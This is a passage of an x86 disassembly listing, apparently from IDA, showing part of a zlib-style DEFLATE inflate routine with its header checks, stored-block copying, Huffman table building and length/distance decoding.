loc_602C3A:				; CODE XREF: sub_6026FA+4C2j
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_602C45
		and	dword ptr [eax+24h], 0


loc_602C45:				; CODE XREF: sub_6026FA+53Ej
					; sub_6026FA+545j
		mov	dword ptr [esi], 8


loc_602C4B:				; CODE XREF: sub_6026FA:loc_60276Aj
					; DATA XREF: .text:0060388Ao
		test	byte ptr [esi+11h], 2
		jz	short loc_602C9C
		jmp	short loc_602C75
; ---------------------------------------------------------------------------


loc_602C53:				; CODE XREF: sub_6026FA+57Ej
		cmp	[ebp+var_8], 0
		jz	loc_603788
		mov	eax, [ebp+Src]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		add	ebx, eax
		inc	[ebp+Src]
		mov	[ebp+var_10], ebx
		add	edi, 8


loc_602C75:				; CODE XREF: sub_6026FA+557j
		cmp	edi, 10h
		jb	short loc_602C53
		mov	eax, [esi+18h]
		and	eax, 0FFFFh
		cmp	ebx, eax
		jz	short loc_602C95
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], offset aHeaderCrcMisma ; "header crc mismatch"
		jmp	loc_603734
; ---------------------------------------------------------------------------


loc_602C95:				; CODE XREF: sub_6026FA+58Aj
		xor	ebx, ebx
		mov	[ebp+var_10], ebx
		xor	edi, edi


loc_602C9C:				; CODE XREF: sub_6026FA+555j
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_602CB7
		mov	edx, [esi+10h]
		xor	ecx, ecx
		inc	ecx
		sar	edx, 9
		and	edx, ecx
		mov	[eax+2Ch], edx
		mov	eax, [esi+20h]
		mov	[eax+30h], ecx


loc_602CB7:				; CODE XREF: sub_6026FA+5A7j
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		call	sub_6015F3
		mov	ecx, [ebp+arg_0]
		mov	[esi+18h], eax
		add	esp, 0Ch
		mov	[ecx+30h], eax


loc_602CCD:				; CODE XREF: sub_6026FA+785j
					; sub_6026FA+CC3j
		mov	dword ptr [esi], 0Bh
		jmp	loc_60373A
; ---------------------------------------------------------------------------


loc_602CD8:				; CODE XREF: sub_6026FA+603j
		cmp	[ebp+var_8], 0
		jz	loc_603788
		mov	eax, [ebp+Src]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		add	ebx, eax
		inc	[ebp+Src]
		mov	[ebp+var_10], ebx
		add	edi, 8


loc_602CFA:				; CODE XREF: sub_6026FA:loc_60276Aj
					; DATA XREF: .text:0060388Eo
		cmp	edi, 20h
		jb	short loc_602CD8
		mov	eax, ebx
		and	eax, 0FF00h
		mov	ecx, ebx
		shl	ecx, 10h
		add	eax, ecx
		xor	ecx, ecx
		mov	ch, byte ptr [ebp+var_10+2]
		shl	eax, 8
		shr	ebx, 18h
		add	eax, ecx
		mov	ecx, [ebp+arg_0]
		add	eax, ebx
		mov	[esi+18h], eax
		mov	[ecx+30h], eax
		xor	ebx, ebx
		xor	edi, edi
		mov	dword ptr [esi], 0Ah
		jmp	short loc_602D34
; ---------------------------------------------------------------------------


loc_602D31:				; CODE XREF: sub_6026FA:loc_60276Aj
					; DATA XREF: .text:00603892o
		mov	ecx, [ebp+arg_0]


loc_602D34:				; CODE XREF: sub_6026FA+635j
		cmp	dword ptr [esi+0Ch], 0
		jz	loc_60374D
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		call	loc_601185
		mov	ecx, [ebp+arg_0]
		mov	[esi+18h], eax
		mov	[ecx+30h], eax
		add	esp, 0Ch
		mov	dword ptr [esi], 0Bh


loc_602D5A:				; CODE XREF: sub_6026FA:loc_60276Aj
					; DATA XREF: .text:00603896o
		cmp	[ebp+arg_4], 5
		jz	loc_603788


loc_602D64:				; CODE XREF: sub_6026FA:loc_60276Aj
					; DATA XREF: .text:0060389Ao
		cmp	dword ptr [esi+4], 0
		jz	short loc_602DA0
		mov	ecx, edi
		and	ecx, 7
		shr	ebx, cl
		sub	edi, ecx
		mov	dword ptr [esi], 18h
		mov	[ebp+var_10], ebx
		jmp	loc_60373A
; ---------------------------------------------------------------------------


loc_602D81:				; CODE XREF: sub_6026FA+6A9j
		cmp	[ebp+var_8], 0
		jz	loc_603788
		mov	eax, [ebp+Src]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		add	ebx, eax
		inc	[ebp+Src]
		add	edi, 8


loc_602DA0:				; CODE XREF: sub_6026FA+66Ej
		cmp	edi, 3
		jb	short loc_602D81
		mov	eax, ebx
		and	eax, 1
		shr	ebx, 1
		mov	[esi+4], eax
		mov	eax, ebx
		and	eax, 3
		dec	edi
		sub	eax, 0
		jz	short loc_602E01
		dec	eax
		jz	short loc_602DDD
		dec	eax
		jz	short loc_602DD5
		dec	eax
		jnz	short loc_602E07
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], offset aInvalidBlockTy ; "invalid block type"
		mov	dword ptr [esi], 1Bh
		jmp	short loc_602E07
; ---------------------------------------------------------------------------


loc_602DD5:				; CODE XREF: sub_6026FA+6C4j
		mov	dword ptr [esi], 0Fh
		jmp	short loc_602E07
; ---------------------------------------------------------------------------


loc_602DDD:				; CODE XREF: sub_6026FA+6C1j
		mov	dword ptr [esi+4Ch], offset asc_60B1E8 ; "`\a"
		mov	dword ptr [esi+54h], 9
		mov	dword ptr [esi+50h], offset dword_60B9E8
		mov	dword ptr [esi+58h], 5
		mov	dword ptr [esi], 12h
		jmp	short loc_602E07
; ---------------------------------------------------------------------------


loc_602E01:				; CODE XREF: sub_6026FA+6BEj
		mov	dword ptr [esi], 0Dh


loc_602E07:				; CODE XREF: sub_6026FA+6C7j
					; sub_6026FA+6D9j ...
		shr	ebx, 2
		dec	edi
		mov	[ebp+var_10], ebx
		dec	edi
		jmp	loc_60373A
; ---------------------------------------------------------------------------


loc_602E14:				; CODE XREF: sub_6026FA:loc_60276Aj
					; DATA XREF: .text:0060389Eo
		mov	ecx, edi
		and	ecx, 7
		shr	ebx, cl
		sub	edi, ecx
		jmp	short loc_602E3E
; ---------------------------------------------------------------------------


loc_602E1F:				; CODE XREF: sub_6026FA+74Aj
		cmp	[ebp+var_8], 0
		jz	loc_603788
		mov	eax, [ebp+Src]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		add	ebx, eax
		inc	[ebp+Src]
		add	edi, 8


loc_602E3E:				; CODE XREF: sub_6026FA+723j
		cmp	edi, 20h
		mov	[ebp+var_10], ebx
		jb	short loc_602E1F
		mov	ecx, ebx
		mov	eax, ebx
		not	ecx
		and	eax, 0FFFFh
		shr	ecx, 10h
		cmp	eax, ecx
		jz	short loc_602E67
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], offset aInvalidStoredB ; "invalid stored block lengths"
		jmp	loc_603734
; ---------------------------------------------------------------------------


loc_602E67:				; CODE XREF: sub_6026FA+75Cj
		xor	ebx, ebx
		mov	[esi+40h], eax
		mov	[ebp+var_10], ebx
		xor	edi, edi
		mov	dword ptr [esi], 0Eh


loc_602E77:				; CODE XREF: sub_6026FA:loc_60276Aj
					; DATA XREF: .text:006038A2o
		mov	eax, [esi+40h]
		test	eax, eax
		mov	[ebp+Size], eax
		jz	loc_602CCD
		mov	eax, [ebp+var_8]
		cmp	[ebp+Size], eax
		jbe	short loc_602E90
		mov	[ebp+Size], eax


loc_602E90:				; CODE XREF: sub_6026FA+791j
		mov	eax, [ebp+var_14]
		cmp	[ebp+Size], eax
		jbe	short loc_602E9B
		mov	[ebp+Size], eax


loc_602E9B:				; CODE XREF: sub_6026FA+79Cj
		cmp	[ebp+Size], 0
		jz	loc_603788
		push	[ebp+Size]	; Size
		push	[ebp+Src]	; Src
		push	[ebp+Dst]	; Dst
		call	_memcpy
		mov	eax, [ebp+Size]
		sub	[ebp+var_8], eax
		add	[ebp+Src], eax
		sub	[ebp+var_14], eax
		add	[ebp+Dst], eax
		add	esp, 0Ch
		sub	[esi+40h], eax
		jmp	loc_60373A
; ---------------------------------------------------------------------------


loc_602ECD:				; CODE XREF: sub_6026FA+7F5j
		cmp	[ebp+var_8], 0
		jz	loc_603788
		mov	eax, [ebp+Src]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		add	ebx, eax
		inc	[ebp+Src]
		add	edi, 8


loc_602EEC:				; CODE XREF: sub_6026FA:loc_60276Aj
					; DATA XREF: .text:006038A6o
		cmp	edi, 0Eh
		jb	short loc_602ECD
		mov	eax, ebx
		and	eax, 1Fh
		add	eax, 101h
		mov	[esi+60h], eax
		shr	ebx, 5
		mov	eax, ebx
		and	eax, 1Fh
		inc	eax
		shr	ebx, 5
		mov	[esi+64h], eax
		mov	eax, ebx
		and	eax, 0Fh
		add	eax, 4
		shr	ebx, 4
		sub	edi, 0Eh
		cmp	dword ptr [esi+60h], 11Eh
		mov	[esi+5Ch], eax
		mov	[ebp+var_10], ebx
		ja	short loc_602F3C
		cmp	dword ptr [esi+64h], 1Eh
		ja	short loc_602F3C
		and	dword ptr [esi+68h], 0
		mov	dword ptr [esi], 10h
		jmp	short loc_602F92
; ---------------------------------------------------------------------------


loc_602F3C:				; CODE XREF: sub_6026FA+82Ej
					; sub_6026FA+834j
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], offset aTooManyLengthO ; "too many	length or distance symbols"
		jmp	loc_603734
; ---------------------------------------------------------------------------


loc_602F4B:				; CODE XREF: sub_6026FA+873j
		cmp	[ebp+var_8], 0
		jz	loc_603788
		mov	eax, [ebp+Src]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		add	ebx, eax
		inc	[ebp+Src]
		add	edi, 8


loc_602F6A:				; CODE XREF: sub_6026FA+89Ej
		cmp	edi, 3
		jb	short loc_602F4B
		mov	ecx, [esi+68h]
		movzx	ecx, ds:word_60BA68[ecx*2]
		xor	eax, eax
		mov	al, bl
		shr	ebx, 3
		mov	[ebp+var_10], ebx
		and	eax, 7
		mov	[esi+ecx*2+70h], ax
		inc	dword ptr [esi+68h]
		sub	edi, 3


loc_602F92:				; CODE XREF: sub_6026FA:loc_60276Aj
					; sub_6026FA+840j
					; DATA XREF: ...
		mov	eax, [esi+68h]
		cmp	eax, [esi+5Ch]
		jb	short loc_602F6A
		jmp	short loc_602FB0
; ---------------------------------------------------------------------------


loc_602F9C:				; CODE XREF: sub_6026FA+8BAj
		mov	eax, [esi+68h]
		movzx	eax, ds:word_60BA68[eax*2]
		and	word ptr [esi+eax*2+70h], 0
		inc	dword ptr [esi+68h]


loc_602FB0:				; CODE XREF: sub_6026FA+8A0j
		cmp	dword ptr [esi+68h], 13h
		jb	short loc_602F9C
		lea	eax, [esi+530h]
		lea	ecx, [esi+6Ch]
		mov	[ecx], eax
		mov	[esi+4Ch], eax
		lea	edx, [esi+2F0h]
		push	edx
		lea	eax, [esi+54h]
		push	eax
		push	ecx
		mov	dword ptr [eax], 7
		push	13h
		lea	eax, [esi+70h]
		push	eax
		push	0
		call	sub_60391C
		add	esp, 18h
		test	eax, eax
		mov	[ebp+var_24], eax
		jz	short loc_602FFC
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], offset aInvalidCodeLen ; "invalid code lengths set"
		jmp	loc_603734
; ---------------------------------------------------------------------------


loc_602FFC:				; CODE XREF: sub_6026FA+8F1j
		and	dword ptr [esi+68h], 0
		mov	dword ptr [esi], 11h
		jmp	loc_603199
; ---------------------------------------------------------------------------


loc_60300B:				; CODE XREF: sub_6026FA+949j
		cmp	[ebp+var_8], 0
		jz	loc_603788
		mov	eax, [ebp+Src]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		add	ebx, eax
		inc	[ebp+Src]
		add	edi, 8


loc_60302A:				; CODE XREF: sub_6026FA+AA8j
		mov	ecx, [esi+54h]
		xor	eax, eax
		inc	eax
		shl	eax, cl
		mov	ecx, [esi+4Ch]
		dec	eax
		and	eax, ebx
		mov	eax, [ecx+eax*4]
		movzx	ecx, ah
		cmp	ecx, edi
		mov	[ebp+Size], eax
		ja	short loc_60300B
		cmp	word ptr [ebp+Size+2], 10h
		jnb	short loc_603091
		movzx	eax, ah
		jmp	short loc_603070
; ---------------------------------------------------------------------------


loc_603051:				; CODE XREF: sub_6026FA+978j
		cmp	[ebp+var_8], 0
		jz	loc_603788
		mov	ecx, [ebp+Src]
		movzx	edx, byte ptr [ecx]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	edx, cl
		add	ebx, edx
		inc	[ebp+Src]
		add	edi, 8


loc_603070:				; CODE XREF: sub_6026FA+955j
		cmp	edi, eax
		jb	short loc_603051
		mov	ecx, eax
		shr	ebx, cl
		mov	cx, word ptr [ebp+Size+2]
		sub	edi, eax
		mov	eax, [esi+68h]
		mov	[esi+eax*2+70h], cx
		inc	dword ptr [esi+68h]
		mov	[ebp+var_10], ebx
		jmp	loc_603199
; ---------------------------------------------------------------------------


loc_603091:				; CODE XREF: sub_6026FA+950j
		jnz	short loc_6030EC
		movzx	eax, ah
		jmp	short loc_6030B7
; ---------------------------------------------------------------------------


loc_603098:				; CODE XREF: sub_6026FA+9C2j
		cmp	[ebp+var_8], 0
		jz	loc_603788
		mov	ecx, [ebp+Src]
		movzx	edx, byte ptr [ecx]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	edx, cl
		add	ebx, edx
		inc	[ebp+Src]
		add	edi, 8


loc_6030B7:				; CODE XREF: sub_6026FA+99Cj
		lea	ecx, [eax+2]
		cmp	edi, ecx
		jb	short loc_603098
		mov	ecx, eax
		shr	ebx, cl
		sub	edi, eax
		mov	eax, [esi+68h]
		test	eax, eax
		mov	[ebp+var_10], ebx
		jz	loc_6031AA
		movzx	eax, word ptr [esi+eax*2+6Eh]
		mov	[ebp+var_28], eax
		mov	eax, ebx
		and	eax, 3
		add	eax, 3
		shr	ebx, 2
		dec	edi
		dec	edi
		jmp	loc_603171
; ---------------------------------------------------------------------------


loc_6030EC:				; CODE XREF: sub_6026FA:loc_603091j
		cmp	word ptr [ebp+Size+2], 11h
		movzx	edx, ah
		jnz	short loc_603150
		jmp	short loc_603117
; ---------------------------------------------------------------------------


loc_6030F8:				; CODE XREF: sub_6026FA+A22j
		cmp	[ebp+var_8], 0
		jz	loc_603788
		mov	eax, [ebp+Src]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		add	ebx, eax
		inc	[ebp+Src]
		add	edi, 8


loc_603117:				; CODE XREF: sub_6026FA+9FCj
		lea	eax, [edx+3]
		cmp	edi, eax
		jb	short loc_6030F8
		mov	ecx, edx
		shr	ebx, cl
		push	0FFFFFFFDh
		mov	eax, ebx
		and	eax, 7
		add	eax, 3
		shr	ebx, 3
		jmp	short loc_603168
; ---------------------------------------------------------------------------


loc_603131:				; CODE XREF: sub_6026FA+A5Bj
		cmp	[ebp+var_8], 0
		jz	loc_603788
		mov	eax, [ebp+Src]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		add	ebx, eax
		inc	[ebp+Src]
		add	edi, 8


loc_603150:				; CODE XREF: sub_6026FA+9FAj
		lea	eax, [edx+7]
		cmp	edi, eax
		jb	short loc_603131
		mov	ecx, edx
		shr	ebx, cl
		push	0FFFFFFF9h
		mov	eax, ebx
		and	eax, 7Fh
		add	eax, 0Bh
		shr	ebx, 7


loc_603168:				; CODE XREF: sub_6026FA+A35j
		and	[ebp+var_28], 0
		pop	ecx
		sub	ecx, edx
		add	edi, ecx


loc_603171:				; CODE XREF: sub_6026FA+9EDj
		mov	ecx, [esi+64h]
		mov	edx, [esi+68h]
		add	ecx, [esi+60h]
		add	edx, eax
		cmp	edx, ecx
		mov	[ebp+var_10], ebx
		ja	short loc_6031B9
		test	eax, eax
		jz	short loc_603199


loc_603187:				; CODE XREF: sub_6026FA+A9Dj
		mov	ecx, [esi+68h]
		mov	dx, word ptr [ebp+var_28]
		mov	[esi+ecx*2+70h], dx
		inc	dword ptr [esi+68h]
		dec	eax
		jnz	short loc_603187


loc_603199:				; CODE XREF: sub_6026FA:loc_60276Aj
					; sub_6026FA+90Cj ...
		mov	eax, [esi+64h]
		add	eax, [esi+60h]
		cmp	[esi+68h], eax
		jb	loc_60302A
		jmp	short loc_6031C9
; ---------------------------------------------------------------------------


loc_6031AA:				; CODE XREF: sub_6026FA+9D2j
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], offset aInvalidBitLeng ; "invalid bit length repeat"
		jmp	loc_603734
; ---------------------------------------------------------------------------


loc_6031B9:				; CODE XREF: sub_6026FA+A87j
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], offset aInvalidBitLeng ; "invalid bit length repeat"
		mov	dword ptr [esi], 1Bh


loc_6031C9:				; CODE XREF: sub_6026FA+AAEj
		cmp	dword ptr [esi], 1Bh
		jz	loc_60373A
		lea	eax, [esi+530h]
		lea	ecx, [esi+6Ch]
		mov	[ecx], eax
		mov	[esi+4Ch], eax
		lea	edx, [esi+2F0h]
		push	edx
		lea	eax, [esi+54h]
		push	eax
		push	ecx
		push	dword ptr [esi+60h]
		mov	dword ptr [eax], 9
		lea	eax, [esi+70h]
		push	eax
		push	1
		call	sub_60391C
		add	esp, 18h
		test	eax, eax
		mov	[ebp+var_24], eax
		jz	short loc_603219
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], offset aInvalidLiter_0 ; "invalid literal/lengths set"
		jmp	loc_603734
; ---------------------------------------------------------------------------


loc_603219:				; CODE XREF: sub_6026FA+B0Ej
		lea	ecx, [esi+6Ch]
		mov	eax, [ecx]
		mov	[esi+50h], eax
		lea	edx, [esi+2F0h]
		push	edx
		lea	eax, [esi+58h]
		push	eax
		push	ecx
		push	dword ptr [esi+64h]
		mov	dword ptr [eax], 6
		mov	eax, [esi+60h]
		lea	eax, [esi+eax*2+70h]
		push	eax
		push	2
		call	sub_60391C
		add	esp, 18h
		test	eax, eax
		mov	[ebp+var_24], eax
		jz	short loc_60325E
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], offset aInvalidDista_1 ; "invalid distances set"
		jmp	loc_603734
; ---------------------------------------------------------------------------


loc_60325E:				; CODE XREF: sub_6026FA+B53j
		mov	dword ptr [esi], 12h


loc_603264:				; CODE XREF: sub_6026FA:loc_60276Aj
					; DATA XREF: .text:006038B2o
		cmp	[ebp+var_8], 6
		jb	short loc_6032C6
		cmp	[ebp+var_14], 102h
		jb	short loc_6032C6
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+Dst]
		push	[ebp+var_20]
		mov	[eax+0Ch], ecx
		mov	ecx, [ebp+var_14]
		mov	[eax+10h], ecx
		mov	ecx, [ebp+Src]
		mov	[eax], ecx
		mov	ecx, [ebp+var_8]
		mov	[eax+4], ecx
		push	eax
		mov	[esi+38h], ebx
		mov	[esi+3Ch], edi
		call	sub_60214D
		mov	eax, [ebp+arg_0]
		mov	ebx, [esi+38h]
		mov	edi, [esi+3Ch]
		pop	ecx
		pop	ecx
		mov	ecx, [eax+0Ch]
		mov	[ebp+Dst], ecx
		mov	ecx, [eax+10h]
		mov	[ebp+var_14], ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		mov	[ebp+Src], ecx
		mov	[ebp+var_8], eax
		mov	[ebp+var_10], ebx
		jmp	loc_60373A
; ---------------------------------------------------------------------------


loc_6032C6:				; CODE XREF: sub_6026FA+B6Ej
					; sub_6026FA+B77j
		mov	ecx, [esi+54h]
		mov	edx, [esi+4Ch]
		xor	eax, eax
		inc	eax
		shl	eax, cl
		dec	eax
		and	eax, ebx
		mov	eax, [edx+eax*4]
		jmp	short loc_603309
; ---------------------------------------------------------------------------


loc_6032D9:				; CODE XREF: sub_6026FA+C17j
		cmp	[ebp+var_8], 0
		jz	loc_603788
		mov	eax, [ebp+Src]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		mov	ecx, [esi+54h]
		add	edi, 8
		add	ebx, eax
		inc	[ebp+Src]
		xor	eax, eax
		inc	eax
		shl	eax, cl
		mov	ecx, [esi+4Ch]
		dec	eax
		and	eax, ebx
		mov	eax, [ecx+eax*4]


loc_603309:				; CODE XREF: sub_6026FA+BDDj
		movzx	ecx, ah
		cmp	ecx, edi
		mov	[ebp+Size], eax
		ja	short loc_6032D9
		test	al, al
		jz	loc_60339B
		test	al, 0F0h
		jnz	short loc_60339B
		movzx	ecx, ah
		mov	[ebp+var_10], ecx
		xor	ecx, ecx
		mov	cl, al
		mov	[ebp+var_28], eax
		xor	eax, eax
		inc	eax
		add	ecx, [ebp+var_10]
		shl	eax, cl
		mov	ecx, [ebp+var_10]
		dec	eax
		and	eax, ebx
		shr	eax, cl
		movzx	ecx, word ptr [ebp+Size+2]
		add	eax, ecx
		mov	eax, [edx+eax*4]
		movzx	edx, byte ptr [ebp+var_28+1]
		jmp	short loc_603389
; ---------------------------------------------------------------------------


loc_60334B:				; CODE XREF: sub_6026FA+C99j
		cmp	[ebp+var_8], 0
		jz	loc_603788
		mov	eax, [ebp+Src]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		xor	ecx, ecx
		mov	cl, byte ptr [ebp+var_28]
		add	edi, 8
		add	ebx, eax
		inc	[ebp+Src]
		xor	eax, eax
		inc	eax
		add	ecx, edx
		shl	eax, cl
		mov	ecx, edx
		dec	eax
		and	eax, ebx
		shr	eax, cl
		movzx	ecx, word ptr [ebp+var_28+2]
		add	eax, ecx
		mov	ecx, [esi+4Ch]
		mov	eax, [ecx+eax*4]


loc_603389:				; CODE XREF: sub_6026FA+C4Fj
		movzx	ecx, ah
		add	ecx, edx
		cmp	ecx, edi
		mov	[ebp+Size], eax
		ja	short loc_60334B
		mov	ecx, edx
		shr	ebx, cl
		sub	edi, edx


loc_60339B:				; CODE XREF: sub_6026FA+C1Bj
					; sub_6026FA+C23j
		movzx	ecx, ah
		shr	ebx, cl
		sub	edi, ecx
		test	al, al
		movzx	ecx, word ptr [ebp+Size+2]
		mov	[ebp+var_10], ebx
		mov	[esi+40h], ecx
		jnz	short loc_6033BB
		mov	dword ptr [esi], 17h
		jmp	loc_60373A
; ---------------------------------------------------------------------------


loc_6033BB:				; CODE XREF: sub_6026FA+CB4j
		test	al, 20h
		jnz	loc_602CCD
		test	al, 40h
		jz	short loc_6033D6
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], offset aInvalidLiteral ; "invalid literal/length code"
		jmp	loc_603734
; ---------------------------------------------------------------------------


loc_6033D6:				; CODE XREF: sub_6026FA+CCBj
		and	eax, 0Fh
		mov	[esi+48h], eax
		mov	dword ptr [esi], 13h


loc_6033E2:				; CODE XREF: sub_6026FA:loc_60276Aj
					; DATA XREF: .text:006038B6o
		mov	eax, [esi+48h]
		test	eax, eax
		jz	short loc_603422
		cmp	edi, eax
		jnb	short loc_603411


loc_6033ED:				; CODE XREF: sub_6026FA+D15j
		cmp	[ebp+var_8], 0
		jz	loc_603788
		mov	ecx, [ebp+Src]
		movzx	edx, byte ptr [ecx]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	edx, cl
		add	edi, 8
		add	ebx, edx
		inc	[ebp+Src]
		cmp	edi, [esi+48h]
		jb	short loc_6033ED


loc_603411:				; CODE XREF: sub_6026FA+CF1j
		xor	edx, edx
		inc	edx
		mov	ecx, eax
		shl	edx, cl
		dec	edx
		and	edx, ebx
		add	[esi+40h], edx
		shr	ebx, cl
		sub	edi, eax


loc_603422:				; CODE XREF: sub_6026FA+CEDj
		mov	dword ptr [esi], 14h


loc_603428:				; CODE XREF: sub_6026FA:loc_60276Aj
					; DATA XREF: .text:006038BAo
		mov	ecx, [esi+58h]
		mov	edx, [esi+50h]
		xor	eax, eax
		inc	eax
		shl	eax, cl
		dec	eax
		and	eax, ebx
		mov	eax, [edx+eax*4]
		jmp	short loc_60346B
; ---------------------------------------------------------------------------


loc_60343B:				; CODE XREF: sub_6026FA+D79j
		cmp	[ebp+var_8], 0
		jz	loc_603788
		mov	eax, [ebp+Src]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		mov	ecx, [esi+58h]
		add	edi, 8
		add	ebx, eax
		inc	[ebp+Src]
		xor	eax, eax
		inc	eax
		shl	eax, cl
		mov	ecx, [esi+50h]
		dec	eax
		and	eax, ebx
		mov	eax, [ecx+eax*4]


loc_60346B:				; CODE XREF: sub_6026FA+D3Fj
		movzx	ecx, ah
		cmp	ecx, edi
		mov	[ebp+Size], eax
		ja	short loc_60343B
		test	al, 0F0h
		jnz	short loc_6034F5
		movzx	ecx, ah
		mov	[ebp+var_10], ecx
		xor	ecx, ecx
		mov	cl, al
		mov	[ebp+var_28], eax
		xor	eax, eax
		inc	eax
		add	ecx, [ebp+var_10]
		shl	eax, cl
		mov	ecx, [ebp+var_10]
		dec	eax
		and	eax, ebx
		shr	eax, cl
		movzx	ecx, word ptr [ebp+Size+2]
		add	eax, ecx
		mov	eax, [edx+eax*4]
		movzx	edx, byte ptr [ebp+var_28+1]
		jmp	short loc_6034E3
; ---------------------------------------------------------------------------


loc_6034A5:				; CODE XREF: sub_6026FA+DF3j
		cmp	[ebp+var_8], 0
		jz	loc_603788
		mov	eax, [ebp+Src]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		xor	ecx, ecx
		mov	cl, byte ptr [ebp+var_28]
		add	edi, 8
		add	ebx, eax
		inc	[ebp+Src]
		xor	eax, eax
		inc	eax
		add	ecx, edx
		shl	eax, cl
		mov	ecx, edx
		dec	eax
		and	eax, ebx
		shr	eax, cl
		movzx	ecx, word ptr [ebp+var_28+2]
		add	eax, ecx
		mov	ecx, [esi+50h]
		mov	eax, [ecx+eax*4]


loc_6034E3:				; CODE XREF: sub_6026FA+DA9j
		movzx	ecx, ah
		add	ecx, edx
		cmp	ecx, edi
		mov	[ebp+Size], eax
		ja	short loc_6034A5
		mov	ecx, edx
		shr	ebx, cl
		sub	edi, edx


loc_6034F5:				; CODE XREF: sub_6026FA+D7Dj
		movzx	ecx, ah
		shr	ebx, cl
		sub	edi, ecx
		test	al, 40h
		mov	[ebp+var_10], ebx
		jz	short loc_603512
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], offset aInvalidDista_0 ; "invalid distance	code"
		jmp	loc_603734
; ---------------------------------------------------------------------------


loc_603512:				; CODE XREF: sub_6026FA+E07j
		movzx	ecx, word ptr [ebp+Size+2]
		and	eax, 0Fh
		mov	[esi+44h], ecx
		mov	[esi+48h], eax
		mov	dword ptr [esi], 15h


loc_603525:				; CODE XREF: sub_6026FA:loc_60276Aj
					; DATA XREF: .text:006038BEo
		mov	eax, [esi+48h]
		test	eax, eax
		jz	short loc_603568
		cmp	edi, eax
		jnb	short loc_603554


loc_603530:				; CODE XREF: sub_6026FA+E58j
		cmp	[ebp+var_8], 0
		jz	loc_603788
		mov	ecx, [ebp+Src]
		movzx	edx, byte ptr [ecx]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	edx, cl
		add	edi, 8
		add	ebx, edx
		inc	[ebp+Src]
		cmp	edi, [esi+48h]
		jb	short loc_603530


loc_603554:				; CODE XREF: sub_6026FA+E34j
		xor	edx, edx
		inc	edx
		mov	ecx, eax
		shl	edx, cl
		dec	edx
		and	edx, ebx
		add	[esi+44h], edx
		shr	ebx, cl
		sub	edi, eax
		mov	[ebp+var_10], ebx


loc_603568:				; CODE XREF: sub_6026FA+E30j
		mov	eax, [esi+2Ch]
		sub	eax, [ebp+var_14]
		add	eax, [ebp+var_20]
		cmp	[esi+44h], eax
		jbe	short loc_603585
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], offset aInvalidDistanc ; "invalid distance	too far	back"
		jmp	loc_603734
; ---------------------------------------------------------------------------


loc_603585:				; CODE XREF: sub_6026FA+E7Aj
		mov	dword ptr [esi], 16h


loc_60358B:				; CODE XREF: sub_6026FA:loc_60276Aj
					; DATA XREF: .text:006038C2o
		cmp	[ebp+var_14], 0
		jz	loc_603788
		mov	eax, [ebp+var_20]
		sub	eax, [ebp+var_14]
		mov	ecx, [esi+44h]
		cmp	ecx, eax
		jbe	short loc_6035CF
		sub	ecx, eax
		mov	eax, [esi+34h]
		mov	[ebp+Size], ecx
		mov	ecx, [esi+30h]
		cmp	[ebp+Size], ecx
		jbe	short loc_6035BD
		add	eax, [esi+28h]
		sub	[ebp+Size], ecx
		sub	eax, [ebp+Size]
		jmp	short loc_6035C2
; ---------------------------------------------------------------------------


loc_6035BD:				; CODE XREF: sub_6026FA+EB6j
		sub	eax, [ebp+Size]
		add	eax, ecx


loc_6035C2:				; CODE XREF: sub_6026FA+EC1j
		mov	ecx, [esi+40h]
		cmp	[ebp+Size], ecx
		mov	[ebp+var_28], ecx
		jbe	short loc_6035DD
		jmp	short loc_6035DA
; ---------------------------------------------------------------------------


loc_6035CF:				; CODE XREF: sub_6026FA+EA6j
		mov	eax, [ebp+Dst]
		sub	eax, ecx
		mov	ecx, [esi+40h]
		mov	[ebp+var_28], ecx


loc_6035DA:				; CODE XREF: sub_6026FA+ED3j
		mov	[ebp+Size], ecx


loc_6035DD:				; CODE XREF: sub_6026FA+ED1j
		mov	ecx, [ebp+var_14]
		cmp	[ebp+Size], ecx
		jbe	short loc_6035E8
		mov	[ebp+Size], ecx


